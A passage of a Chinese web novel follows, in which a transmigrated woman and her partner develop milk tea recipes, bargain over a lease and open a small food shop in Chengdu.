江浔还没来得及夸呢,陈厨子就迫不及待开口道:“阿雅妹子的手艺是真的好,这普普通通的葱油饼都能被做得这么好吃、有味儿,简直是江浔的福气啊!” 陈厨子也是做吃食的,她最能懂想要把一样吃食做好,其中得花费多大的功夫。 也不知阿雅妹子如此年轻,是怎么做到的? 真是厉害! 江浔嘿嘿笑道:“是啊是啊,每日能吃到这么好吃的东西,可把我美惨了。” 说完又冲着阿雅笑,连口中的食物都还没来得及咽下,两腮鼓鼓,一脸不值钱的模样。 这模样把陈厨子都看懵了,在她印象中江浔一直是个稳重聪敏的形象,没想到私底下居然是这个样子的。 有个妻子可真好啊。 陈厨子眼中出现艳羡。 吃着早午饭,江浔把和陈厨子交谈的内容,给阿雅复述了一遍,想听听阿雅的意见。 阿雅眼皮垂下,沉吟几息后道:“能在成都府开下去的铺子,本领各不相同,花样很多,我们只开一家普通的食铺,是无法吸引食客的。” “我们想招揽客人,无非就是一点,噱头。” 诚如阿雅所说,成都府占地又广又阔,其中的食铺多如牛毛,她们如果在成都府里开个普通铺子,那不是等同于江海之中最普通的小虾米,只能被吃吗? 那什么噱头最好呢? “食铺本身别具一格,或食物别具一格。” 阿雅说完后,江浔陈厨子二人陷入沉思,大脑都在疯狂运转,到底要怎么别具一格才算好。 整个打铁铺内静悄悄的,只剩下三人机械的咀嚼声。 阿雅也在心中思考着,到底应该怎么帮到江浔。 “你们看这样行吗?”打铁铺外阳光斜斜洒进,带来丝温暖的感觉,临近午时阿雅才开口道:“我们挑几份招牌菜,放在店中,只需要收取一定的银钱,大家就可以自行取食。” “银钱收少一点,把物美价廉的名声打出去,再加上这种自行取拿的特殊方式,说不定能吸引到人?” 此话一出,让江浔想到了自助餐这个经营模式。 但古代不好用自助餐这个模式吧? 现代自助餐还可以上点合成肉或科技与狠活降低成本,但古代她们做不到如此,就注定价格高昂。 价格高昂还没有服务,恐怕没人会选择这种食铺吧? “我们可以这样。”江浔受到阿雅启发,想到了更好的经营模式,“我们做一些小食,不收钱让来吃饭的人随便吃,同时还给予优质的服务……的侍候,让来吃的人念念不忘?” 不过对于食铺来说,始终得是东西好吃才行。 所以她继续道:“我知道一种茶饮,与现下所有茶饮都不同,是牛乳与茶的结合,浓郁芬芳,饮之让人难以忘怀。” “还可以把炸土豆条和拌土豆都放在我们的铺子中卖,先把客人吸引进铺子,再靠陈厨子卓越的手艺,和其它人优质的侍候,把客人留下来?” 江浔所说的茶饮就是奶茶,其口感独特,味道香甜,恐怕能俘获许多人的心。 再加上现下还有热度的炸土豆条和拌土豆,这怕是想没人来都不可能。 阿雅:“牛乳与茶的结合?” 她确实听说过地方不同,大家喝茶的口味也各不相同,但从未听说过牛乳与茶居然还能结合在一起,那样味道不会相冲撞变得更加难喝吗? 她甚至都觉得有点礼崩乐坏了。 还未等江浔回答,陈厨子又道:“炸土豆条与拌土豆?这两种吃食的确不难做,我自己也曾尝试过,但做出来的味道却怎么都与徐浆娘做出来的不一样,不知道其中秘诀的话,很难做出相同口味的东西,还是别想了。” 陈厨子对这两样吃食不抱什么希望,她知道江浔与徐浆娘的关系很好,但关系再好,对方也不可能把如此赚钱的秘诀告知与她吧? 看着阿雅陈厨子两人脸上都露出低落、不抱希望的表情,跟两个小苦瓜似的,江浔就有点想笑。 她拍拍手吸引两人的视线,道:“相信我,我有办法。” “等会儿午食之时,陈厨子你就别走了,我给你们做牛乳茶,你们尝了之后就知我不是在说大话了。” “至于炸土豆条和拌土豆这两样吃食,实不相瞒,其中的秘诀就是用了我家菜地种出来的土豆与番柿,才做得这么好吃的!” “所以不用担心,我们做出来的东西只会好不会差的!” 毫不夸张的说,用她们家菜地的菜做出来的食物,根本就不可能难吃! 要是这样都还吸引不了食客的话,那她们就应该趁早洗洗睡了,而不是去考虑怎么做生意了。 “唯一需要考量的就是,我们应当如何与徐江娘商与。” 她和徐浆娘签过契约,虽然契约当中也没有说只能徐浆娘一人做拌土豆和炸土豆条,但是想想还是有点不太厚道。 其余人做的这两样吃食,都掌握不了精髓,所以没办法影响到徐浆娘的生意。 但她们做的就不一样了,这是真有可能让徐浆娘没生意做的。 这要是处理不好,恐怕会导致江浔和徐浆娘反目成仇。 不过阿雅有好主意,“我们可以出钱,让徐浆娘每日做大量的吃食,运送给我们。” “既让徐浆娘也赚钱了,我们也不用花心思去做这些东西了。” 听到这个办法,江浔双眼亮起,冲阿雅重重点头,表示可行。 三人商量好之后就一刻也闲不住了,江浔大手一挥道:“走,我们出去买牛乳和茶!” 三人一同出门,买完牛乳和茶之后,又去找徐浆娘,同徐浆娘大概说了想要合作之事,徐浆娘听见心中无比动容。 其实本来江浔和阿雅二人无需考虑她的想法的,但因着她们关系好,所以才让她也跟着能赚钱。 江浔和阿雅真真是她异父异母的好姐妹啊! 徐浆娘立马表态道:“好!我不会收你们太多钱,给个劳力费就好!” 土豆和番柿都是在江浔那里进的,算起来她就只是把东西做出来而已,本就只有力气的付出,所以给个劳力费她也不算吃亏。 还有得赚。 和徐浆娘商量完,三人回到打铁铺,陈厨子自告奋勇要给她们二人做吃食。 江浔就由着她做。 反正以往想要尝到陈厨子的手艺,可不容易。 至于阿雅,她就来到江浔身边,想要看看江浔是如何把牛乳茶做出来的。 牛乳茶好做,江浔兴致也高涨,所以一口气做了好几种牛乳茶出来。 第一种是焦糖红茶。 把买来的红茶先用热水冲泡,放置一边备用,再往锅中加入白糖慢慢煎炒,白糖会逐渐融化成水颜色变得金黄,继续翻炒,直至白糖变为枯黄的琥珀色方可加入干红茶一起翻炒。 干红茶一下锅,其浓厚微苦的茶香味儿就出来了。 把刚才用来泡水的红茶捞出,和干红茶一同在锅中翻炒。 待锅中琥珀色的糖水冒出小气泡时,就可以加入牛乳了。 江浔加了两碗的量,再加入一碗红茶茶汤,煮至沸腾,筛掉茶叶,就可以喝了。 见那浅淡琥珀色丝滑又浓郁的牛乳茶放在那里,冒出幽香,阿雅陈厨子二人表现出了极大的兴趣。 都想要尝试一下。 但江浔没说可以喝,她们就忍了下来,并没有动作。 阿雅也只好收心,继续看着江浔接下来的动作。 接下来要做的是玫瑰奶绿。 只用把干玫瑰花和绿茶分别煮出茶汤,均匀混合在一起,加入糖和牛乳,就制作而成了。 要不是今日时间不太够,江浔其实是想做玫瑰花酱的。 用玫瑰花酱做出来的玫瑰奶绿,其味道更加浓郁香甜,不会显得寡淡。 最后一款牛乳茶就无比养生了,江浔把红豆煮熟,呈现粉粉糯糯的状态,然后直接往锅中加入红茶、冰糖熬煮。 差不多一刻钟后,加入牛乳,就做好了。 软烂发甜的红豆,与深色丝滑的牛乳茶相融合,一闻到就知道甜滋滋的肯定好喝。 三款牛乳茶做下来做的江浔心中雀跃、情绪高涨,无比想要做更多的牛乳茶,想要让两人见识见识奶茶的魅力! 牛乳茶做好,陈厨子也做好午食了,把所有东西端到打铁铺中,几人才准备开吃。 陈厨子:“好!我倒是要先尝尝这牛乳茶到底有没有那么好喝!” 陈厨子手在三碗牛乳茶中移动而过,挑选了一看就清香甘醇的玫瑰奶绿。 面对新的茶饮,陈厨子还有些不好意思勒,只小口抿了一口。 初次尝试牛乳茶,入口便是牛乳的醇甜味儿在舌尖游走而过,再加上玫瑰花的清香与淡雅。 仿佛她身处于花丛之中,在同人吟诗作对,谈天说地,高雅着呢。 而阿雅则选了焦糖红茶,入口是浓郁的甜味儿,但在甜味儿中又有一丝发焦的味道。 不是那种焦糊的苦涩味儿,而是能把甜到人发腻的味道压下去的焦香味。 再加上红茶那馥郁芬芳的味道,混在一起真是独特又让人欲罢不能的茶饮。 她们二人又分别把剩下两种茶都品尝了一遍,最终抱着碗,靠在椅子上,双眼远远眺望,都有些“微醺”了。 “不得了不得了,我从没喝过口感如此独特的茶饮。”一想到她们三人有可能做出,让所有人都拍手称赞,流芳千古的茶饮,陈厨子就忍不住激动道:“好好好!真不错真不错!我定要让整个成都府,不!是整个大安国都尝到如此好喝的茶饮!” 阿雅双眼亮得不行,眼中也有些小激动,“好喝!浔姐姐,我们一定会赚大钱的!” 江浔:嘿嘿。 第78章 租铺子 奶茶的好喝让人出乎意料, 这下三人信心暴涨,干劲十足,都想赶紧把这件事定下来。 吃完午食,她们又仔细商与了一番, 陈厨子才离开。 第二日天还未亮, 三人就驾着马车一同前往成都府。 成都府距离她们很远, 驾马车都要一个时辰左右才能到达。 到达后,天色大亮。 成都府很大,外城门有八个,内城门有四个,其间各种商铺和往来之人数不胜数。 光是在外城门处,就聚集了各式各样的人准备进城。 好不容易进入后, 江浔和陈厨子被成都府的繁华与庞大震惊到。 路边楼阁皆是雕梁画栋、碧瓦珠甍, 香花珠帘点缀,路过行人即便是普通老百姓, 衣物也比清水镇好上不少, 体面无比。 两人没见识的四处张望, 对什么都好奇,对什么都想多看几眼。 第一次来成都府, 直接被成都府迷了眼, 只有阿雅一人还记得她们来的目的是什么。 在仔细观察着一条街中有多少铺子是卖吃食的, 都卖的是什么吃食,卖得好不好,什么样的人吃什么。不卖吃食的其他铺子又是做什么的, 大家喜欢与否。 她们像是游玩般, 进了很多食铺,尝了很多不同的东西, 还和老板们也聊了几句。 慢慢的,也算是对成都府有了初步了解。 但成都府太大,想要真正了解透彻,只一日是不够的。 接下来好几日,江浔开始只开半日的门,有时是上午,有时是下午,剩下的时间三人就一起去成都府切身观察着。 约莫过了七日左右,终于被她们碰见一家铺子要转让,地理位置合适在外城,往来的人不算太多,但附近有一个私塾和一个绣楼,想来等私塾的人下课,绣楼的人下工,这里应当是很热闹的。 租金也不算贵,每月三十两。 只是老板要收的转让费有些高,要八十两。 要知道江浔和阿雅二人攒的银子,总共才两百两,这一下要支出一百一十两,负担挺大的。 江浔:“等一等吧,再等一等,肯定会有更合适的。” 话是这么说,但所有人心中都没有底,不知这样等下去,等来的会是遇见更好的铺子,还是直接错过了这次机会。 三人热情有些被浇灭,往成都府跑的次数也少了起来,一周里基本只跑一次。 陈厨子没了厨子这份工,也不能就这样一直闲着,所以他去帮徐娇娘卖东西去了。 正好徐浆娘差人,陈厨子又是个熟手,两人配合的倒是很好。 而江浔和阿雅二人,在开打铁铺前或关打铁铺后,都会驾着马车去江家村查看自己地里的菜长得怎么样。 终于,又是半月过去,第一批番柿成熟,她们种的菜可以跟上消耗量了。 番柿量多,全都运去给徐浆娘做番柿酱,让徐浆娘不用再限量出售炸土豆条了。 等番柿酱差不多用完,开荒出来的土地上种的土豆也基本成熟,等这些土豆用完,开荒土地上种的番柿又熟了。 如此循环,总有一样菜是她们种出来的,可以微妙的保持炸土豆条的口感。 这样下来,江浔阿雅每月能赚的钱最终稳定在九十两,勉强可以承受在成都府开铺子带来的负担。 即便那铺子开不下去,她们也不至于直接脱富到贫。 江浔和阿雅二人立马找到陈厨子,对她道:“走!我们去租那个铺子!” 陈厨子:!!? 离上次成都府那个铺子要转让,已经过去一月有余,虽三人时不时有去看那家铺子,但是真不知道那家铺子现下是否还要转让。 “我们真的能租到吗?”陈厨子怀着忐忑的心情坐上马车,同江浔阿雅二人赶往成都府。 江浔和阿雅心里也是紧张的,她们也不知道这个铺子是不是被转让给别人了,而接手的人是不是生意很好。 要真是这样,她们可就没什么希望了。 急匆匆赶到成都府后,她们来到那个铺子前,没有立即进去,而是在外面朝里张望。 奇怪的是,那铺子的状态看起来和一月前,她们初次见到的状态没什么不同。 依旧是没什么人,也看不见老板和小二。 这是怎么一回事? 一个月都没有人来租? 她们一月前看的时候,还以为是老板要转让了,不做生意了,才没有人的。 可这都一月了,还这个样子,不太对劲吧? 三人互相对视一眼,都没有选择去铺子中询问,而是直接走进街对面一家糕点铺,进去边挑糕点,边问店小二的话。 江浔:“小二啊,那对面铺子是怎么回事?能吃到东西吗?我们三人饿了,正愁找不到去处。” 说着还挑了好几种糕点,放入店小二端着的托盘上。 那么明显的打听,店小二当然听得出来,但是看着这人要买东西,他也乐得多说几句。 “嗐,那家店啊可以吃,东西都好着呢!只是不知那家店是倒了什么霉,换好几个老板都做不走呢。” 按照店小二的说法,这一个月内那家店不是没人租,相反还换了好几个老板了。 每个老板刚开店时都是雄心壮志,表示自己一定做的走,结果最多开店七日,每个老板都被打击到了。 根本没有人去吃。 不论他们想出什么吸引人的法子,都是没人去吃。 除非直接免费。 免费也只有晚食之时才会有人去。 这就奇了怪了,三人眼中露出疑惑,想不明白为什么这样。 江浔:“是不好吃?” 陈厨子:“是得罪人了?” 阿雅:“卖的东西不对?” 店小二站在柜台后,打包江浔挑选好的糕点,“没有得罪人,味道不说好吃,但也绝对不难吃,是寻常味道。” 江浔:“那就奇了怪了,又有私塾又有绣楼的地方,居然没生意?” “你是不知道,那私塾里的读书人不会出来吃东西的,除非是傍晚归家之时。” “可他们已经要归家了,何必又在外面花钱吃东西?” 店小二把东西打包好,收了钱,又继续说道:“那绣楼的姑娘们就更不可能出来吃了,她们又没多少银子。” “要我说,就不应该开吃食铺子,像我们老板这样,开个糕点铺多好呀?买一两块来尝尝,又能解馋又花不了几个钱……” 说到这里,店小二猛觉自己说多了、失言了,懊恼地打了下自己的嘴,找补道:“我们店生意也不行,可千万别学我们。” 见问不出什么了,三人一同走出糕点铺,站在街边商与着。 陈厨子:“这……之前不知有这种事啊,我们要不还是再看看?” 这里的铺子好是好,但万一她们租了也是没人来吃,那不纯亏钱吗? 江浔同阿雅十指相扣,低头抿唇思索,好一会儿才说道:“我好像有办法了。” 私塾里的读书人为什么不出来,她暂且不知。 但听店小二的意思是,绣楼的姑娘们是因为没多少银钱才不出来吃的。 如果像糕点这种,好吃解馋,只买一两块才几文钱的东西,她们也是会买来吃的。 也就是说,只要价钱便宜,东西少点她们也能接受。 主要是得好吃。 而且估计她们也不是每日都吃,最多一月吃个一次两次就很好了。 这样算下来,确实是出来吃饭会贵一点。 出来吃一顿饭,少说也要花掉十多文钱,姑娘们确实负担不起。 “我们可以这样,把炸土豆条、拌土豆、牛乳茶都分成小份的。每份几文钱,总会吸引到客人的。” 这种降价、减量的办法,估计其他老板都想到过。 区别是,包括现在这位老板,卖的都是正餐,只降价不减量姑娘们估计会很喜欢,但出来吃花费时间长,会耽误做绣活的。 降价减量的话,对正餐来说,就有点小尴尬了。 吃又吃不饱,又好像吃了一样。 但她们卖的东西是小食,是和糕点差不多的。 只需要在休息时出来买,回去时边走边吃就行。 花费不了多少功夫。 每月买个一两次,解解馋足矣。 “可是这样就违背了我们的初衷。”阿雅道。 如果单买小食,她们也没必要租铺子,租个摊子就行了,花不了多少钱不说,恐怕买的人还多点。 她们想租铺子,就是想做各种菜的,想做真正的酒楼。 “也是。”江浔点点头,又陷入思考之中,喃喃道:“还是得知道那群读书人是为什么不来吃的。” 接下来的日子,三人又开始找其他在转手的铺子,如果能找到合适的,就不用去租那家铺子了。 但同时,江浔也每日都会到那家生意不好的铺子外逛一圈,希望能找出那群读书人为什么不出来吃的原因。 还真别说,几日下来还真给她找到了。 竟是因为私塾中有小厨房,私塾半强制要求学生们都在小厨房吃。 这样还不算完,主要是人小厨房卖的不贵不说,还每次外面的铺子推出什么新菜色,小厨房都能复刻了去。 直接在私塾里卖,又近又便宜还想吃什么有什么,如此天时地利人和。 那群读书人能出来就怪了。 知晓原因后,江浔突然觉得想解决也不是那么困难的。 只要她们在菜地中多种些菜,食铺里每样菜都用自己种出来的菜制作,从口感上就和小厨房拉开差距了。 小厨房想复刻她们的菜式,也只会不得要领。 同时,因为是自家种的菜,成本也不高,所以和小厨房卖一个价她们也不会亏。 如此想着,江浔大手一挥,打算和阿雅、陈厨子商与后,先把铺子租下来,边开边种菜。 慢慢吸引客人。 第79章 开业! 江浔直接把陈厨子叫到打铁铺中, 三人一起围坐在桌子前商量着这件事。 她们也找过其它地方的铺子,但是不是租金贵就是转让费贵,都不是她们能负担得起的价格。 只有这处地方还可以,价格合适, 又有潜在的客源。 江浔:“我们可以先试一下, 实在不行, 就放弃绣楼与私塾,去吸引其它的人。” 好歹是在成都府内的铺子,只要名声出去了,也会有人来的。 听完江浔说的话,阿雅思索一番,觉得两人现在有点积蓄, 遇见事情也扛得住, 可以试试。 大不了就是回到清水镇,重新开始。 “好, 我听浔姐姐的。” 至于陈厨子, 她的压力没有江浔阿雅二人大, 见两人都想尝试,她也只好点头答应。 如此说好, 三人又马不停蹄赶到成都府小西门太玄街的铺子, 直接去找那铺子的老板。 现下这位铺子老板也是从别人那儿接手的, 结果发现生意做不下去,着急忙慌想转手呢。 见有人来问,他报出自己的转让费, 要七十九两。 比之前他租的时候便宜点, 没办法,说贵了也没人会租啊。 但江浔并不准备用这个价格租下来。 她开启自己的砍价天赋, 直接喊道:“三十五两我就租!” 刹那间,老板瞪大眼睛,阿雅、陈厨子也齐刷刷扭头看向她。 所有人眼中都是难以置信,想不通她怎么喊得出来这种价的? 阿雅同江浔食指紧扣的手挣了挣,想要挣脱。 感受到动作,江浔有些不解地看向阿雅,阿雅却没有说什么话。 只在心中祈祷不要被撵出去。 没想到老板也是个心善的,咽了咽口水稳住心态后,居然开始同江浔讨价还价了。 他道:“七十五两!不能再少了!” 他都是亏着本在转让,只求自己不要亏的更多。 “七十五两太多了,老板再少一点四十两怎么样?四十两我就租,你知道的这铺子又没有什么人来,我租下来有可能也是亏本买卖。” 江浔根本没觉得自己之前的价说少了,还以为自己正在和老板有来有回还价呢。 “你这铺子也好长一段时间租不出去了吧?好歹遇见我们还有想租的想法,要是错过了我们,你再也租不出去也是有可能的。” “那不是砸手里了吗?是也不是?” 一段话说的老板心中苦涩,眼中含泪,差点当场就要绷不住了。 这人说话太狠了,直往他心窝子里戳。 “不行。”老板声音都有些哽咽了,“诚心价七十五两,再少我不租与你们了。” 见老板居然咬死七十五两,江浔就不信邪了,打算和老板“血战到底”。 “四十五两不能再多了,这店子本就值不了多少钱你是打算继续亏钱做下去,还是打算回点本?” “七十五两!” “四十五两!” “七十五!” “四十五两!” 两人陷入长久的拉锯战中,终于两刻钟后,江浔把价成功砍到六十两,可比之前的八十两足足少了二十两嘞。 事不宜迟,江浔怕老板反悔,立马拉人去楼店务拟租赁契本。 楼店务就是专门管房屋出售与租赁的,两方谈拢后,就需要到楼店务处签订契约,再由他们盖上印章,成为有法律效力的“红契”。 这样契约才成立,才受官方保护。 一套流程走下来,天色已然擦黑,刺骨寒风吹的人瑟瑟发抖。 江浔心善,还把老板给送回铺子中,让老板不至于顶着寒风赶回去。 契约成立后转让费是给老板的,但每月的租金是给官方的。 官方特地给了六日的时间,让买卖双方可以收拾东西、搬东西,到第六日才开始交租金。 回到打铁铺中后,江浔就开始同阿雅商量,要带些什么东西到她们才租下的铺子中去。 阿雅:“我们要卖牛乳茶,那就必须有东西装,用竹筒吧?花不了什么钱。” “竹筒?” 阿雅坐在椅子中,捧着手炉,乖乖巧巧的,“嗯,去江家村的后山里砍竹子,然后拿给谭木匠做竹筒。不费什么功夫也花不了什么钱。” 这到是个好方法,江浔抬着椅子,坐到阿雅身旁,把阿雅揽在怀中,手拢着她的手。 江浔体热,即便刚刚在外面吹了风,双手也不显得冻人,身体上也不冷。 但她还是喜欢和阿雅贴在一起,想黏着阿雅不放。 “那我明日抽空去一趟江家村,去砍些竹子回来。”既然有竹筒,那江浔觉得再多根吸管也不是什么难事,“再去一趟清水村,割点芦苇回来做吸水的东西,方便大家喝牛乳茶。” 现在正值十二月,是芦苇茂盛的时候,她们可以割很多芦苇回来,囤着一根一根做成吸管,再配合上竹筒。 如此奇特的造型,恐怕也会吸引很多人。 阿雅总是会被江浔的奇思妙想惊艳道:“可以,可真是不错,我明日和你一同前去吧,也好帮忙。” 她有见过吸碗,那是在烧陶时就在碗旁边弄了一个中空细长的甬道,用来吸取碗中之水。 她也知晓芦苇是中空的,但两相结合,能想出如此特别的用法,还是头一回见。 “好。”留阿雅一人在家江浔反倒不放心,还不如和她一同前去呢。 商量好竹筒和吸管之事,江浔又说到明日去找谭木匠时,可以顺便给徐浆娘说,让徐浆娘准备做土豆之事。 “先慢慢把铺子开起来吧,我还想到了很多吃食,到时候一一试一下。” 全是她前世上下班路上刷视频刷到,就大概记下来了,现在想想能在这个地方复刻出来,也算是为自己的生活增添了一抹色彩。 第二日,两人早早就出发,往车上装了一些做种的菜,驾着马车来到江家村。 先去看了看田里中的东西,都被打理得很好,没有出差错。 她们找到最初帮工的那位大娘,把那车上各种番椒、葱姜蒜、折耳根……等等一些可做配料的菜种到地里去。 大娘一辈子都在种地,可比她们专业多了,江浔就放心的把这件事交给了对方。 带着阿雅来到后山,准备砍竹子。 因为是用来装牛乳茶的,所以竹子的大小、粗细都有要求。 两个竹筒间的差距不能太大,不然不是把客人们当冤大头吗? 砍竹子时,江浔阿雅二人还惊喜的发现了冬笋。 看着坚硬的硬土地被顶地四分五裂,里面埋着又矮又黑,却胖嘟嘟冬笋,江浔就控制不住自己想挖的手。 用砍柴刀的刀背,把泥土给扒开,然后用手掰着笋子使劲去摇。 江浔力气大,还算容易的就把冬笋给弄出来了。 不过由于两人工具没带对,始终还是无法快速的挖到冬笋。 花费好一会儿时间,两人挖够一顿的量,就没有挖了,而是继续砍竹子。 自从上次江浔给阿雅坦白自己有特殊的能力之后,每每遇到这种需要花力气的事,江浔都会给阿雅用上大力决,让阿雅能做得轻松些。 两人合力砍完竹子放在马车上,马蹄声哒哒哒朝村外驶去。 她们又去到清水村。 清水村的荷花早已枯萎,销声匿迹,现下池塘中种的是芦苇了。 细瘦的芦苇杆上,纯白如棉花的芦苇絮随风晃动,阳光洒在上面好似一片银洲。 和夏日一样,冬日来游玩赏蒹葭的人也不少。 在清水村两人就不能那么随便的砍芦苇了,她们和村长商量后,花钱租下一片芦苇荡。 芦苇荡里的芦苇就可以任她们随意处置。 把大把芦苇装上马车,二人才回到清水镇,来到谭木匠的铺子。 同谭木匠讲好自己要什么样式的竹筒,什么时间要,又和徐浆娘说好什么时间要炸土豆条和拌土豆。 她们给谭婆婆留下两根大点的冬笋,这才回到自己家中。 临近午食,等人先把自己挖的冬笋处理好,炖煮在锅中后,她们两人就坐在灶台旁,开始清理着芦苇。 把芦苇杆切成有一只手掌那么长的段,其中空的芯也要清理干净。 正好她们砍了竹子,竹子的小枝条落在了马车上。 此时只需要把棉花塞进芦苇杆中,用小枝条抵着来回擦拭便可。 怕芦苇有细菌把客人们吃病了,江浔还特意把所有芦苇都给煮了一遍。 煮过的芦苇虽变得有些软,但更加柔韧不容易折断了。 处理好大半芦苇后,锅中的冬笋炖鸡也煮好了。 揭开锅盖,扑面而来的就是浓厚到让人看不清的白烟,等白烟散去,锅中雪白的冬笋和汤上漂浮的澄黄的油腥映入眼帘。 鼻尖萦满鸡汤香味儿,让江浔和阿雅不自觉口舌生津。 江浔麻利的把鸡汤盛出,端进打铁铺就可以开吃了。 这锅鸡汤阿雅根本就没有额外放油,全靠那鸡自己身上的油煮出来的。 农家人散养的走地鸡就是鲜嫩劲道,不仅油水十足,肉也特别好吃。 再加上冬笋的鲜味儿,在冬日可真是暖胃补身体的美* 食! 热乎乎的鸡汤下肚,刚才在外面干活被冷到的身体一下就暖和起来。 两人同时长舒一口气,终于不再冷地缩着身体了- 六日后,一切准备好的三人把成都府太玄街的铺子打理好,重新开业。 开业第一日,根本没有人光顾她们的铺子。 倒是街对面那家糕点铺的店小二,看见是她们开铺子,在晚食时,成了第一位客人。 那江浔当然是亲情为他推荐牛乳茶和拌土豆,甜滋滋的牛乳茶和辣爽的拌土豆可是绝配! 正好店小二下了工也不着急回去,江浔就让陈厨子把两样东西都热了一下。 让店小二享受到最好吃的口感。 店小二坐在铺子中,看着两样特殊做法的简陋食物,突然有些后悔了。 他怎么就突然想到要来照顾她们生意了呢? 这下好了,面对六对三双铜铃般望着他的眼睛,他是吃也不是,不吃也不是。 不会有毒吧? 之前那些老板卖的吃食至少还正常,现在来了个不正常的,怎么可能开的走铺子啊! 店小二心中捶胸顿足,可面上还是冲三人勉强挤出笑容,道:“我会好好吃的,你们去忙吧去忙吧。” 江浔三人哪能走啊,必须得看着第一个客人吃下去,再点评点评味道才行啊! 见这三人不走,店小二无法,只能拿着筷子,颤颤巍巍夹起一块条纹状土豆。 放入嘴中。 嚼嚼嚼。 嚼嚼嚼—— ——好吃! 好吃!!! 店小二眼睛唰地亮起,来回看向江浔三人,来不及说话,只能疯狂点头! 第80章 开张 怎么会这么好吃呢? 脆脆粉粉的土豆, 一点也不油腻,反倒是因为加入了各种调味料,变得更加好吃更加入味。 这到底是什么吃食?怎么一下就征服他了? 店小二低下头不断嚼嚼嚼着,即便口中嚼到茱萸, 被辣的眼泪花都出来了, 也没停顿一下。 一份拌土豆的分量太少, 只有不到十根土豆,店小二只花了几息时间就吃完了。 犹觉不过瘾,店小二斯哈斯哈道:“再来一份!再来一份!” 看店小二这么激动的模样,三人就知道稳了,拌土豆绝对好吃。 她们现在要解决的问题就是没人来,而不是怀疑东西好不好吃。 江浔飞快为店小二端上一份拌土豆, 店小二继续马不停蹄地嚼嚼嚼。 东西实在是太好吃了, 店小二一共爽吃了五份拌土豆,把自己肚子吃来撑得不行, 才停下。 “你们做的东西好吃, 一定会赚大钱的。”店小二冲她们竖起大拇指, 晃了晃,放下铜板准备离开。 但江浔叫住他, 道:“你还有牛乳茶没喝, 很好喝的。” 站起身的店小二看看桌上放的竹筒, 竹筒上还插着根不伦不类的芦苇。 总觉得有点嫌弃。 长这个样子……不会好喝吧? 还牛乳茶?这是什么扭曲、离谱、难以想象的东西? 店小二根本就不想喝这个东西,他推脱道:“还是算了,我肚子太撑, 吃不下了。” 说罢他想朝外走, 可江浔陈厨子二人根本不让路,江浔还劝道:“喝一口, 就喝一口。” 店小二:…… 店小二猛地抬头,才惊觉这两位姑娘竟然比他还高,跟山一样,站在他面前挡着路,让他根本无法离开。 他难道是进了什么土匪窝了?? 店小二咽咽口水,尝试性道:“还是不、不了……” 话没说完,他似乎见江浔和陈厨子脸上表情越发严肃,似乎下一刻就要揍他了! 店小二被吓得打了个寒颤,当即拿起巴掌大的竹筒,摆弄好几下,最后经过江浔提醒才找准正确的喝法。 他从芦苇管中吸取牛乳茶。 本来脸上表情已经狰狞,告诫自己即便这牛乳茶难喝,他也不能说出来,也不能吐。 要忍! 可真当牛乳茶进入口中后,他居然一点也没觉得难喝,也没有尝到牛乳应有的腥味儿,反倒让甜味和茶的清苦味。 哇!这是什么神奇的东西?! 店小二的双眼又亮了,甚至带上崇拜的表情,望向江浔。 天奶诶,她们是怎么做出这么好喝的东西的!? 他一直觉得自己是个粗人,喝茶就喝最便宜那种,能解渴就行,完全尝不出便宜的茶和贵的茶有什么区别。 可是现在! 他真的能很明显感受到牛乳茶的好喝! 简直太不一样了! 这下店小二也不管自己肚子撑不撑了,反正撑和吃不下是不一样的,他感觉自己还能喝下一竹筒牛乳茶! 店小二去龙吸水般疯狂吸入牛乳茶,直至整个竹筒空下来,被吸的滋滋作响他才作罢。 后果就是,他回到家中后肚子实在撑、涨到没办法,坐也不行躺也不行。 来回辗转几下后,吃进去的东西居然直接吐了出来。 店小二:…… 看着满地脏污,只觉得尤为可惜。 这下好了,江浔三人收获了最忠实的食客,店小二自己上工时,都在不遗余力的为三人宣传,逢人就说她们店的东西好吃,她们店的东西物美价廉,不吃就亏到汴京城了! 而江浔三人呢? 也知道不能这么坐以待毙,她们开始轮番上街,就站在几条路汇聚的路口,举着块牌子,上面没写字,而是画了一碗冒着热气的拌土豆和牛乳茶。 路过的人可能不知道画的是什么,但绝对能猜到是吃食,再加上她们的吆喝。 还是有好多人感兴趣,只是都没有下定决心要去吃罢了。 就这样又过了几日,临近年关天气越来越冷,天亮的也越来越迟,她们二人早晨起来天都还是黑黝黝的。 现下生意不好,她们每日都要早起,赶到成都府去,想办法招揽客人。 苦是苦了点,但有盼头,因为她们谁都知道自己做的东西是没问题的。 这日早晨,她们起来洗漱做早食时,两只鸡很反常的没有跟在她们脚后,连小三花也没有来,而是跳到鸡窝上,钻鸡窝里去了。 几个月下来,小三花长得很快,都有以前两三个它那么大了,体型溜圆,只是脸还很显小的模样。 怕小三花跑进鸡窝里挤到两只鸡,江浔快步走过去,摸黑想把小三花掏出来。 结果这一掏,掏到一枚圆圆的热热的光滑的东西。 江浔动作一顿,立马喊道:“阿雅!乖乖!快来!” 阿雅在西屋中漱口,听到江浔喊她,飞速走了出来怕是有什么急事。 灰蒙蒙的天色下,江浔笑得不见眼只见牙,手从鸡窝中伸出,朝她摇晃到。 那个瞬间,阿雅只觉江浔手中的东西白到晃眼。 “呀!下蛋了!” 阿雅惊喜,直接走到江浔身边,接过她手中的鸡蛋,仔细看着。 真的,她觉得这鸡蛋比白玉来的都珍贵,来的都好看。 终于等到家中的鸡下蛋了。 真不容易。 江浔又转身从鸡窝里掏了一会儿,又掏出个蛋道:“看,是两个蛋!” 阿雅看见另一个蛋,眼中蓦然出现笑意,看着江浔重复了一遍她的话,“对,是两个蛋呢。” 江浔:…… 江浔:??? 对啊!怎么能是两个蛋呢??? 一只鸡一晚下了两个? 还是两只鸡下了两个??? 江浔有些崩溃了,她难以置信的把两只鸡掏出来,仔细看着它们的长相。 天呢,两只鸡长得一模一样!而且都没有大鸡冠! 也就是说两只鸡都是母鸡! “那、那人骗我!” 江浔悲痛欲绝,说好的一公一母,以后养小鸡仔的呢! 现在两只母鸡怎么养小鸡仔! 她也不是说一定要养小鸡仔,但也不能骗她吧??? 见江浔脸上表情一副人生无望的模样,阿雅捂脸偷笑了好一会儿,才清清嗓子,准备安慰她。 “好了好了浔姐姐,别难过,这样正好我们两人都有鸡蛋可以吃呀。” “要是少了只母鸡还吃不成嘞!” “好像……是这样?”听见阿雅这个说法,江浔脸上表情好了很多,觉得好像也能接受了? 这样自己和阿雅都有鸡蛋吃,不用拿着一个鸡蛋推拒来推拒去的。 “好!我们这就煮鸡蛋吃!” 江浔大手一挥就走到灶台前,烧水把鸡蛋放下锅。 